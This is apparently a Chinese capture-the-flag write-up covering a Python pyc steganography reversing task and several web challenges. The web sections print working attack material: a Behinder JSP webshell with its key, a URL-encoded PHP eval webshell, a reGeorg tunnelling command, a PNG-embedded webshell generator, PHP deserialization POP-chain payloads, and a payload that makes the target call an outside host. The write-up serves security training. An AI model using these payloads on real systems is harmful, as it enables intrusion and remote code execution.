8a 94 14 7b a3 86 c8 c7 01 98 a3 5f 91 d8 82 54 2a 56 ab e0 a1 14 31 f3 34 00 00 00 51 5f e2 f8 8c 11 4d 7d 27 3c 40 ce 54 f6 3f 5f 6d a4 f8 b4 ea ca c7 3a b9 e6 06 8b eb fa 62 48 85 78 4a 33 24 dd de b6 dc a0 b8 62 96 31 b7 13 3d 17 13 b1 e9 73 00 00 00 e9 61 00 00 00 e9 75 00 00 00 e9 72 00 00 00 a9 04 e9 02 00 00 00 e9 08 00 00 00 e9 0b 00 00 00 e9 0a 00 00 00 e9 77 00 00 00 e9 74 00 00 00 e9 7c 00 00 00 e9 7f 00 00 00 a9 04 e9 03 00 00 00 e9 07 00 00 00 e9 09 00 00 00 e9 0c 00 00 00 63 01 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 06 00 00 00 43 00 00 00 73 1a 00 00 00 69 00 7c 00 5d 09 7d 01 7c 01 7c 01 74 00 7c 01 19 f0 41 7d 93 02 71 02 53 49 72 0d 00 00 00 29 01 da 01 6e 29 02 da 02 2e 30 72 15 00 00 00 72 0d 00 00 00 72 0d 00 00 00 72 0e 00 00 00 da 0a 3c 64 69 63 74 63 6f 6d 70 3e 2c 00 00 00 72 18 00 00 00 72 38 00 00 00 63 01 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 03 00 00 00 63 00 00 00 73 1c 00 00 00 81 00 7c 00 5d 09 7d 01 7c 01 a0 00 a1 00 7c 01 66 02 56 32 01 d6 71 02 64 00 53 22 29 01 4e 29 01 da 09 62 69 74 5f 63 6f 75 6e 74 29 02 72 37 00 00 00 72 0c 00 00 00 72 0d 00 00 00 72 0d 00 00 00 72 0e 00 00 00 da 09 3c 67 65 6e 65 78 70 72 3e 2d 00 00 00 72 18 00 00 00 72 3a 00 00 00 63 01 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 43 00 00 00 73 08 00 00 00 7c 00 64 01 19 e5 53 0a 29 02 4e 72 10 00 00 00 72 0d 00 00 00 29 01 72 15 00 00 00 72 0d 00 00 00 72 0d 00 00 00 72 0e 00 00 00 72 17 00 00 00 2f 00 00 00 72 18 00 00 00 72 17 00 00 00 29 1c da 03 73 79 73 da 07 68 61 73 68 6c 69 62 72 03 00 00 00 72 0f 00 00 00 72 12 00 00 00 72 13 00 00 00 72 1d 00 00 00 da 08 5f 5f 6e 61 6d 65 5f 5f da 01 77 da 01 65 da 01 62 da 01 73 da 01 74 da 01 6d 72 36 00 00 00 72 06 00 00 00 72 1b 00 00 00 da 06 73 6f 72 74 65 64 da 05 69 74 65 6d 73 72 16 00 00 00 da 05 70 72 69 6e 74 da 06 64 65 63 6f 64 65 da 05 73 74 64 69 6e da 06 62 75 66 66 65 72 da 04 72 65 61 64 72 1c 00 00 00 da 01 63 da 06 64 69 67 65 73 74 72 0d 00 00 00 72 0d 00 00 00 72 0d 00 00 00 72 0e 00 00 00 da 08 3c 6d 6f 64 75 6c 65 3e 01 00 00 00 73 32 00 00 00 00 02 08 01 0c 02 08 0a 08 0a 08 04 08 03 08 01 04 01 04 03 04 01 04 02 04 01 0e 01 0e 01 12 01 12 02 1e 01 12 01 0c 01 0a 02 0a 01 10 01 16 02 10 e9

将其转为十六进制后存储为文件可得一个 Python 3.10 的 pyc 文件。使用 stegosaurus 解隐写可以得到如下内容。此时需要修改 stegosaurus 工具的源码,将 payload = str(payloadBytes, "utf8") 修改作 payload = payloadBytes 才能得到无法解码的字节载荷。

Extracted payload: bytearray(b'\xe5\n2\xd6"\xf0}I\xb0\xcd\xa2\x11\xf0\xb4U\x166\xc5o\xdb\xc9\xead\x04\x15b')

写脚本可以将 pyc 转换成字节码。

import dis
import marshal

with open('extracted.pyc', 'rb') as f:
  f.seek(16)
  dis.dis(marshal.load(f))

将字节码手动转译成 Python 代码并将解隐写得到的内容添加进去,可以得到如下脚本。

import sys
from hashlib import sha256

def KSA(key):
    keylength = len(key)
    S=list(range(256))
    j=0
    for i in range(256):
        j=((j + S[i]) + key[i % keylength]) % 256
        S[j],S[i]=S[i],S[j]
    return S

def PRGA(S):
    i = 0
    j = 0
    while(1):
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[j],S[i]=S[i],S[j]
        K=S[(S[i] + S[j]) % 256]
        yield K

def RC4(key):
    S=KSA(key)
    return PRGA(S)

def xor(p,stream):
    return bytes(map(lambda x:(x ^ stream.__next__()), p))

if __name__ == '__main__':
    w=b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f'
    e=b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~'
    b=b'geo'
    s=b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141'
    t=b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1"
    m={2:115 ,8:97, 11:117, 10:114}
    n={3:119, 7:116, 9:124, 12:127}
    m|={x:x^n[x]for x in n}  
    m|=((i.bit_count(),i) for i in b)
    stream=RC4(list(map(lambda x:x[1],sorted(m.items())))) 
    print (stream)
    print(xor(w,stream).decode())
    #p=sys.stdin.buffer.read()
    p=b'\xe5\n2\xd6"\xf0}I\xb0\xcd\xa2\x11\xf0\xb4U\x166\xc5o\xdb\xc9\xead\x04\x15b'
    e=xor(e,stream)
    c=xor(p,stream)
    print (c)
    if sha256(c).digest() == s:
        print(xor(t,stream).decode())
    print(e.decode())

运行脚本可得如下信息。

<generator object PRGA at 0x000001D8EACA83C0>
Give me the mystery string :
b'flag{P0w5rFu1_0pEn_50urcE}'
Congratulations! Now you should now what the flag is
You are wrong!
flag{P0w5rFu1_0pEn_50urcE}

Web

EasyWeb

在页面源码中可见如下提示。

<!-- /hint -->

访问 /hint 路由可得如下提示。

{"hint":"# hint ^_^\n\tSo~ How to get files in this server? \n\tfiles/????????????????????????????????"}

访问 /files 路由,下载文件可得如下提示。

Try to scan 35000-40000 ^_^.
All tables are empty except for the table where the username and password are located
Table: employee

使用 nmap 进行端口扫描,可以得到如下端口开放信息。

Host is up (0.094s latency).
Not shown: 5000 closed ports
PORT      STATE SERVICE
36842/tcp open  unknown

访问 36842 端口可得一个登录界面,稍微尝试可得 SQL 注入点。根据提示爆出账号 admin,密码 99f609527226e076d668668582ac4420

扫描可得 /file 路由,存在一个文件上传点,尝试上传一个 .htaccess 将 txt 文件

addhandler php5-script .txt

将其上传后再尝试上传 PHP 文件。存在危险字符检测,因此采用触发写入,将内容完全 URL Encode,构造上传载荷如下。

<?php file_put_contents("this.txt",urldecode("%3c%3f%70%68%70%20%65%76%61%6c%28%22%24%5f%50%4f%53%54%5b%31%5d%22%29%3b"));

将其上传后访问 /upload/1d929bafc144014d7e7df7fe817232e4/info.txt 即可得到一个 shell。使用蚁剑连接,发现没有权限读取 flag。使用插件扫描内网端口可得 8006 端口是开放的。

上传 reGeorg 的 tunnel.nosocket.php 将内网端口代理出来。

python2 reGeorgSocksProxy.py -l 0.0.0.0 -p 3333 -u http://121.42.242.238:36842/upload/382f1b9e4a7b75dbeb05a3c4ed2fab04/tunnel.nosocket.php -k a

访问 localhost:8006 可以发现存在 Jboss,采用 JMX-Console 未授权访问进行攻击。使用冰蝎的 jsp 一句话生成新的 war 包。

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
jar -cvf zfsn.war shell.jsp

将得到的包上传到可访问的路径下获取网址,使用 jboss.deployment 的 addUrl 将 war 包加载进去。

使用冰蝎连接如下链接,即可在文件管理中读取到 flag。

http://localhost:8006/zfsn/shell.jsp

flag{V3ry_v3rY_E3si_a_w3B_Ch@1l3ng3}

Hard_Penetration

使用 shiro_attack 2.0 对 /login 路由进行攻击。

使用该工具对 /login 注入冰蝎的 jsp 木马并使用冰蝎连接。使用命令执行发现 flag 无法直接读取,但是 apache 的配置下存在 8005 的开放端口。

由于 /var/www/html 无权访问,因此尝试使用端口映射将服务代理出来。

根据网站上的文字猜测是 BAOCMS,在 GitHub 上找到类似的源码进行审计。可以发现在 Delivery/Common/display 下存在文件包含。display 中调用到的 parseTemplate 方法直接返回了处理过的文件名,由 display 借由 fetch 直接 include 进到页面中,因此假使模板文件是 PHP 代码,其亦可成功执行。因此,上传一个包含 <?php system("cat /flag"); 的 html 文件,再请求到这个路由直接将其包含即可 RCE。除此之外,还需要获得有效的 uid 才能进行操作,在 common.php 中可以找到如下代码。

function setUid($uid=1){ //固定 uid 为 1,方便调试获取对应 cookie
    import("ORG/Crypt/Base64");
    $uid = 'USER_'.$uid.'_'.NOW_TIME;
    $uid = Base64::encrypt($uid, C('AUTH_KEY'));
    cookie('Tudou_TOKEN',$uid,86400 * 365); //存2小时
    return true;
}

function getUid(){
    import("ORG/Crypt/Base64");
    $token = cookie('Tudou_TOKEN');
    $token = Base64::decrypt($token, C('AUTH_KEY'));
    $token = explode('_', $token);
    setUid(); //在此处添加一行代码,方便调试获取 cookie
    if($token[0]!= 'USER') return 0;
    return (int)$token[1];
}

在 getUid 函数内新增一行代码,动态调试到 setUid 即可得到有效的 Tudou_TOKEN

%8D%8A%84%7B%8E%9Ch%AB%8C%E0u%97%B3%9B%85%97%B2%7D%A7h%87txs

将恶意 html 上传到 /tmp 目录下,发起文件包含请求即可获得 flag。

flag{82807831-5195-403d-b401-f180736ebea9}

pop_master

题目给出的代码如下。

<?php
include "class.php";
//class.php.txt
highlight_file(__FILE__);
$a = $_GET['pop'];
$b = $_GET['argv'];
$class = unserialize($a);
$class->yuAp2O($b);

class.php.txt 中是经过混淆的类,写个脚本一把梭回溯。

<?php
ini_set("memory_limit", "-1");

const CLASS_FILENAME = "class.php";

global $result;
global $CLASS_FILE;
global $classes;

$CLASS_FILE = file_get_contents('class.php');
$result = array();

include CLASS_FILENAME;
$classes = get_declared_classes();

/**
 * Generate a class PHP code as a node
 * @param $class string class name
 * @param $functionName string function name in the class
 * @param $jmpClass string next node to jump to
 * @return string generated class PHP code
 */
function GenerateClass(string $class, string $functionName, string $jmpClass): string{
    return (
    ($jmpClass != "") ?
        ("class {$class}{public function __construct(){\$this->{$functionName}=new {$jmpClass}();}}") :
        ("class {$class}{public function __construct(){\$this->{$functionName}=\"None\";}}"));
}

/**
 * Find a class with specified function in it
 * @param $functionName string function name to find
 * @return mixed class that contains the function or false if no class contains
 */
function FindClassByFunction(string $functionName){
    $classes = get_declared_classes();
    foreach($classes as $class){
        $functions = get_class_methods($class);
        foreach($functions as $function){
            if(in_array($function, array($functionName))){
                return $class;
            }
        }
    }
    return false;
}

/**
 * Backtrace to find the path to eval
 * @param $functionName string function name which is start of backtrack
 * @return bool false if none path found yet || none if path found which would have written to exp.php
 */
function BackTrace(string $functionName): bool{
    global $result;
    global $CLASS_FILE;
    global $classes;

    foreach($classes as $class){
        $functions = get_class_methods($class);
        $variables = get_class_vars($class);
        foreach($functions as $function){
            if(in_array($function, array($functionName))){

                $jmpFunction = array_keys($variables)[0];
                $rule_0 = "/public function $functionName\((.*?)\)(.*?)    }/ms";
                preg_match_all($rule_0, $CLASS_FILE, $content);
                $rule_1 = '/\$this->' . $jmpFunction . '->([a-zA-Z0-9]{6})\(/';
                preg_match_all($rule_1, $content[0][0], $matches);

                if(count($matches[1]) > 1){
                    $next_method_list = $matches[1];

                    foreach($next_method_list as $k => $v){
                        $extractFunctionContents = "/public function $v\((.*?)\)(.*?)    }/ms";
                        preg_match_all($extractFunctionContents, $CLASS_FILE, $functionContent);
                        $params = "\\" . $functionContent[1][0];

                        $extractRightOp = "/$params=(.*?);/";
                        preg_match_all($extractRightOp, $functionContent[0][0], $rightOp);
                        if(count($rightOp[1]) == 1){
                            return false;
                        }
                        // if none right operator when eval is valid
                        $isDestination = preg_match("/eval\((.*?)\);/", $functionContent[0][0]) && !preg_match("/='/", $functionContent[0][0]);
                        $step = FindClassByFunction($v);
                        if($isDestination){
                            array_push($result, GenerateClass($class, $jmpFunction, $step));
                            file_put_contents("exp.php", "<?php" . PHP_EOL . implode("\n", $result) . PHP_EOL . "echo serialize(new PADDING());");
                            die();
                        }
                        if($step != ''){
                            array_push($result, GenerateClass($class, $jmpFunction, $step));

                            if(!BackTrace($v)){
                                array_pop($result);
                                continue;
                            }
                            break;
                        }
                        return false;
                    }
                }elseif(count($matches[1]) == 1){
                    $destinationFunction = $matches[1][0];
                    $extractFunctionContents = "/public function $destinationFunction\((.*?)\)(.*?)    }/ms";
                    preg_match_all($extractFunctionContents, $CLASS_FILE, $functionContent);
                    $params = "\\" . $functionContent[1][0];
                    $extractRightOp = "/$params=(.*?);/";
                    preg_match_all($extractRightOp, $functionContent[0][0], $rightOp);

                    // eval arg has been padded, invalid.
                    if(count($rightOp[1]) == 1){
                        return false;
                    }

                    $isDestination = preg_match("/eval\((.*?)\);/", $functionContent[0][0])
                        && !preg_match("/='/", $functionContent[0][0]);
                    if($isDestination){
                        array_push($result, GenerateClass($class, $jmpFunction, ""));
                        file_put_contents("exp.php", "<?php" . PHP_EOL . implode("\n", $result) . PHP_EOL . "echo serialize(new PADDING());");
                        die();
                    }
                    $step = FindClassByFunction($destinationFunction);
                    if($step != ''){
                        array_push($result, GenerateClass($class, $jmpFunction, $step));
                        if(!BackTrace($destinationFunction)){
                            array_pop($result);
                        }
                    }
                    return false;
                }
            }
        }
    }
    return false;
}

BackTrace("yuAp2O");

生成的代码整理后如下。

<?php
class vPFL76{public function __construct(){$this->NwyYaGg=new KUGigF();}}
class KUGigF{public function __construct(){$this->yeibvDG=new rMo15X();}}
class rMo15X{public function __construct(){$this->FK5IgDD=new cGInXd();}}
class cGInXd{public function __construct(){$this->pazgAVc=new Akn5g6();}}
class Akn5g6{public function __construct(){$this->HRHFKR3=new ox6mgh();}}
class ox6mgh{public function __construct(){$this->yHSRG7p=new UvIezc();}}
class UvIezc{public function __construct(){$this->G6ci7az=new a68xiw();}}
class a68xiw{public function __construct(){$this->ndGFMQ7=new xSroRa();}}
class xSroRa{public function __construct(){$this->oXHWucx=new aCWT05();}}
class aCWT05{public function __construct(){$this->HGtml2m=new yDIcsa();}}
class yDIcsa{public function __construct(){$this->EQLf6vK=new pkszNY();}}
class pkszNY{public function __construct(){$this->NU3qxgm=new tHRECm();}}
class tHRECm{public function __construct(){$this->niY1imT=new xwg8HP();}}
class xwg8HP{public function __construct(){$this->UPxY7Rh=new uwsYxI();}}
class uwsYxI{public function __construct(){$this->O6oCtiA=new MxQ8vY();}}
class MxQ8vY{public function __construct(){$this->z4n5cgd=new v9zyqI();}}
class v9zyqI{public function __construct(){$this->lXmIYTK=new ZQTdEz();}}
class ZQTdEz{public function __construct(){$this->tfRml9G=new sXLGZq();}}
class sXLGZq{public function __construct(){$this->pwGsvpx=new gdK3FL();}}
class gdK3FL{public function __construct(){$this->XPiW7lc=new Wu1LLY();}}
class Wu1LLY{public function __construct(){$this->SqZ7tgA=new e5RFzb();}}
class e5RFzb{}
echo serialize(new vPFL76());

将序列化字符串生成得到如下内容。

O:6:"vPFL76":1:{s:7:"NwyYaGg";O:6:"KUGigF":1:{s:7:"yeibvDG";O:6:"rMo15X":1:{s:7:"FK5IgDD";O:6:"cGInXd":1:{s:7:"pazgAVc";O:6:"Akn5g6":1:{s:7:"HRHFKR3";O:6:"ox6mgh":1:{s:7:"yHSRG7p";O:6:"UvIezc":1:{s:7:"G6ci7az";O:6:"a68xiw":1:{s:7:"ndGFMQ7";O:6:"xSroRa":1:{s:7:"oXHWucx";O:6:"aCWT05":1:{s:7:"HGtml2m";O:6:"yDIcsa":1:{s:7:"EQLf6vK";O:6:"pkszNY":1:{s:7:"NU3qxgm";O:6:"tHRECm":1:{s:7:"niY1imT";O:6:"xwg8HP":1:{s:7:"UPxY7Rh";O:6:"uwsYxI":1:{s:7:"O6oCtiA";O:6:"MxQ8vY":1:{s:7:"z4n5cgd";O:6:"v9zyqI":1:{s:7:"lXmIYTK";O:6:"ZQTdEz":1:{s:7:"tfRml9G";O:6:"sXLGZq":1:{s:7:"pwGsvpx";O:6:"gdK3FL":1:{s:7:"XPiW7lc";O:6:"Wu1LLY":1:{s:7:"SqZ7tgA";O:6:"e5RFzb":0:{}}}}}}}}}}}}}}}}}}}}}}

发送含有载荷的请求即可获得 flag。

flag{85e385d3-46be-4e29-b005-3e54f85d2370}

WhereIsUWebShell

题目给出了如下源代码。

<!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php-->
<?php
// index.php
ini_set('display_errors', 'on');
if(!isset($_COOKIE['ctfer'])){
    setcookie("ctfer",serialize("ctfer"),time()+3600);
}else{
    include "function.php";
    echo "I see your Cookie<br>";
    $res = unserialize($_COOKIE['ctfer']);
    if(preg_match('/myclass/i',serialize($res))){

        throw new Exception("Error: Class 'myclass' not found ");
    }
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
<?php
// myclass.php
class Hello{
    public function __destruct()
    {   if($this->qwb) echo file_get_contents($this->qwb);
    }
}
?>
<?php
// function.php
function __autoload($classname){
    require_once "/var/www/html/$classname.php";
}
?>

很容易看出反序列化读文件,关键在于后面 myclass 的正则过滤。此时只有让 $res 不存在,再次序列化的字符串里才能没有这个类。在 PHP 的手册中有如下描述。

如果传递的字符串不可反序列化,则返回 false,并产生一个 E_NOTICE

因此,我们只需要让反序列化进行到一半就失败即可。尝试修改序列化字符串的最后几个字符即可达成目的。使用如下脚本构造读取文件的载荷。

<?php

// trigger the include of myclass.php
class myclass{
    public $triggerHello;

    public function __construct(){
        $this->triggerHello = new Hello();
    }
}

class Hello{
    public $qwb;

    public function __construct(){
        $this->qwb = "e2a7106f1cc8bb1e1318df70aa0a3540.php"; // read file
    }
}

echo substr(urlencode(serialize(new myclass())), 0, -6);

脚本将生成的序列化字符串的最后两个 } ,此时序列化会成功读取文件,但是最终会失败,从而绕过了后面的正则。读取到了如下文件。

<?php
include "bff139fa05ac583f685a523ab3d110a0.php";
include "45b963397aa40d4a0063e0d85e4fe7a1.php";
$file = isset($_GET['119ef9cf-b19b-4bff-90ea-c6bb9b30b2ce'])?$_GET['119ef9cf-b19b-4bff-90ea-c6bb9b30b2ce']:"404.html";
$flag = preg_match("/tmp/i",$file);
if($flag){
    PNG($file);
}
include($file);
$res = @scandir($_GET['00b5e1f9-4831-4af6-bd3c-2472bdcf7d5b']);
if(isset($_GET['00b5e1f9-4831-4af6-bd3c-2472bdcf7d5b'])&&$_GET['00b5e1f9-4831-4af6-bd3c-2472bdcf7d5b']==='/tmp'){
    $somthing = GenFiles();
    $res = array_merge($res,$somthing);
}
shuffle($res);
@print_r($res);
?>

很容易发现其有列出目录的功能。除此之外可以以同样的方式将其中 include 的文件读出。

//bff139fa05ac583f685a523ab3d110a0.php
function PNG($file)
{
    if(!is_file($file)){die("我从来没有见过侬");}
    $first = imagecreatefrompng($file);
    if(!$first){
        die("发现了奇怪的东西2333");
    }
    $size = min(imagesx($first), imagesy($first));
    unlink($file);
    $second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
    if ($second !== FALSE) {
        imagepng($second, $file);
        imagedestroy($second);//销毁,清内存
    }
    imagedestroy($first);
}
?>
//45b963397aa40d4a0063e0d85e4fe7a1.php
function GenFiles(){
    $files = array();
    $str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $len=strlen($str)-1;
    for($i=0;$i<10;$i++){
        $filename="php";
        for($j=0;$j<6;$j++){
            $filename  .= $str[rand(0,$len)];
        }
        // file_put_contents('/tmp/'.$filename,'flag{fake_flag}');
        $files[] = $filename;
    }
    return $files;
}

?>

可以发现其中 PNG 函数对传入的文件进行了重渲染操作。/tmp 下的文件将被传给 PNG 重渲染后直接包含。GenFiles 则是生成假的文件字符串来混淆视听,由于是强等于的判断 ==='/tmp',直接用 /tmp/ 即可绕过这个函数的执行。而二次渲染的图片马可以借由 PNG-IDAT-Payload-Generator 写出如下脚本来生成。

PAYLOAD_LENGTH = 20
# PAYLOAD = "(\"PHP\".\"INFO\")()"
PAYLOAD = "EVAL($_POST[\"ZIT\"])"
DEFAULT_COMPRESSED_STRING = b"\xa3\x9f\x67\x54\x6f\x2c\x24\x15\x2b\x11\x67\x12\x54\x6f\x11\x2e\x29\x15\x2b\x21\x67\x22\x6b\x6f\x5f\x53\x10"
ENV = "http://QUESTION_HOST_HERE/"


def RawDeflate(data, compresslevel=9):
    compress = zlib.compressobj(
        compresslevel,  # level: 0-9
        zlib.DEFLATED,  # method: must be DEFLATED
        -zlib.MAX_WBITS,  # window size in bits:
        #   -15..-8: negate, suppress header
        #   8..15: normal
        #   16..30: subtract 16, gzip header
        zlib.DEF_MEM_LEVEL,  # mem level: 1..8/9
        0  # strategy:
        #   0 = Z_DEFAULT_STRATEGY
        #   1 = Z_FILTERED
        #   2 = Z_HUFFMAN_ONLY
        #   3 = Z_RLE
        #   4 = Z_FIXED
    )
    deflated = compress.compress(data)
    deflated += compress.flush()
    return deflated


def RawInflate(data):
    decompress = zlib.decompressobj(-zlib.MAX_WBITS)
    inflated = decompress.decompress(data)
    inflated += decompress.flush()
    return inflated


# Generate payload
payload = (PAYLOAD + "{}").format(" " * int(PAYLOAD_LENGTH - (len(PAYLOAD)))).encode()
print("[+] Using payload ~{}~".format(payload))
payloadWrapped = codecs.encode(
    RawInflate(RawDeflate(DEFAULT_COMPRESSED_STRING).replace(b"$_GET[0]($_POST[1]);", payload)), "hex_codec")
print("[+] Generated wrapped payload {}".format(payloadWrapped))

# Generate image
evilImage = "./evilImage.png"
filterProof = bypass_filters(payloadWrapped)
save_image(filterProof, evilImage)
print("[+] Generated Image {}".format(evilImage))
verify(evilImage, payload)
print("[+] Fin")

此时整个包含临时文件 RCE 的路径就完整了,但是临时文件要想办法留存更久。因此考虑使用 file_get_contents($this->qwb); 来阻塞进程,即在自己的服务器上给出如下代码,使得程序的请求强制停留等待,即给临时文件包含提供了时间。

<?php
    sleep(2147483647);

写出如下载荷来达成阻塞的目的,同时以 POST 的方式将生成的恶意文件上传。

<?php

// trigger the include of myclass.php
class myclass{
    public $triggerHello;

    public function __construct(){
        $this->triggerHello = new Hello();
    }
}

class Hello{
    public $qwb;

    public function __construct(){
        $this->qwb = "http://8.136.8.210:3255"; // force sleep 2147483647
    }
}

echo substr(urlencode(serialize(new myclass())), 0, -6);

上传文件后使用 e2a7106f1cc8bb1e1318df70aa0a3540.php 列出 /tmp 下的文件,再发送请求将其包含后执行指令。

/l1b 下可以找到疑似 flag 的文件,但是无法读出,猜测需要一个 readflag,可以找到有 /usr/bin/ed471efd0577be6357bb94d6R3@dF1aG 文件,将其作 readflag 使用,构造 /usr/bin/ed471efd0577be6357bb94d6R3@dF1aG /l1b/06cb199b/1ea50a20/8d8880fa/eaf8f8a5/c7769282/Fl444gggb08c9817 即可以得到 flag。

flag{e9f76b6f-46c5-477e-b7ec-f5f03df1f74a}

[强网先锋]赌徒

www.zip 有源码泄露,可以得到如下源码。

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';

    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';

    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';

    public function __get($name){
        $function = $this->a;
        return $function();
    }

    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

构造如下脚本生成序列化字符串载荷。

<?php

class Start{
    public function __construct(){
        $this->name = new Info();
    }
}

class Info{
    public $file;

    public function __construct(){
        $this->file['filename'] = new Room();
        $this->file['filename']->a = new Room();
    }

}

class Room{
    public function __construct(){
        $this->filename = '/flag';
    }
}

echo serialize(new Start());

将得到的载荷以 GET 参数 hello 发送请求即可得到如下字符串。

ZmxhZ3s3MzcxOGIzMy03OWRlLTQyZmMtOWZkMi02MmEyZGE1NjJlMWN9

将其 Base64 解码一次即可得到 flag。

flag{73718b33-79de-42fc-9fd2-62a2da562e1c}

results matching ""

    No results matching ""